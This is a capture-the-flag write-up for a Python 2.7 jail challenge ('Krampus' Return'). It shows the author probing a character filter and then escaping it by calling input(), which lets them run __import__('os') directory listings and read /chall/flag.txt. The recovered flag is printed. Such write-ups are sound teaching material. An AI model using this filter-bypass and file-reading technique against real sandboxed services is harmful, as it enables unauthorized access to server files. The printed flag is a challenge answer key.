Rating: 4.0

Problem

Krampus' Return

This problem was a reference to an earlier Krampus problem, a Python 2.7 jail https://ctftime.org/task/7359.

Resources

Solution

This was also a jail. It actually took me a while to realize that my commands weren't having effect because of the whimsical responses from the server:

$ nc challs.xmas.htsp.ro 13006
░ ▒ ▓ █
CONNECTION ESTABLISHED - PYTHON 2.
CONNECTION WILL BE CLOSED AFTER 5 MINUTES. BE WARY.

<Server>: Krampus stares at you. He has seen you before. Play nice.
<You>: hi krampus
<Server>: You tried to get Krampus' attention. Try something different.
<You>: HELLO
<Server>: You tried to get Krampus' attention. No response.
<You>: ...
<Server>: You tried to get Krampus' attention. He is busy.
<You>: ok
<Server>: Krampus has heard you. You made him curious. ░ ▒ ▓ █
<You>: oh?
<Server>: Krampus has now your attention. Be careful!
<You>: Hi!
<Golem>: *looks towards you*

Eventually I typed in a number and started piecing it together.

<You>: 2
<Krampus>: 2
<You>: 2+4
<Elf #113>: Yee, what are y'all doing?
<You>: dir()
<Krampus>: ['__builtins__', '__doc__', '__file__', '__name__', '__package__', 'inp']
<You>: inp
<Krampus>: inp
<You>: list(inp)
<Krampus>: ['l', 'i', 's', 't', '(', 'i', 'n', 'p', ')']

When you type in an invalid character, the server will have some Elf, Golem, Ice Dragon, or Krampus say something instead of executing your command. Disallowed characters include '"_+.,, but you can use parentheses to call functions and nest them. Finally, inp is a string that copies your input right before it is executed. My first approach was to try to create a string just like last year's solutions were able to do, and perhaps even call eval(inp), but it was hard to get too far:

<You>: next(iter(dir()))   
<Krampus>: __builtins__

I started going through Python 2.7's builtin functions one by one to find something that could help me. Eventually, I tried input():

<You>: input()
'a'
<Krampus>: a

! We're getting somewhere. Using input() enables us to type invalid characters into stdin and avoid the filtering logic. A little more fiddling gets us there:

<You>: input()
__import__('os').listdir('/')
<Krampus>: ['lib64', 'tmp', 'opt', 'lib', 'run', 'etc', 'dev', 'sbin', 'proc', 'home', 'mnt', 'srv', 'sys', 'bin', 'usr', 'media', 'root', 'var', 'boot', '.dockerenv', 'chall']
<You>: input()
__import__('os').listdir('/chall/')
<Krampus>: ['flag.txt', 'server.py', 'krampus.py']
<You>: input()
open('flag.txt').read()
<Server>: Senseless words.
<You>: input()
open('/chall/flag.txt').read()
<Krampus>: X-MAS{Th3_4ll_Mighty_pyth0n_b34t5_kr4mpu5_th1s_Xmas}

Flag: X-MAS{Th3_4ll_Mighty_pyth0n_b34t5_kr4mpu5_th1s_Xmas}

Original writeup (https://github.com/mwilbz/ctf/blob/master/xmasctf2019/misc/krampus_return/README.md).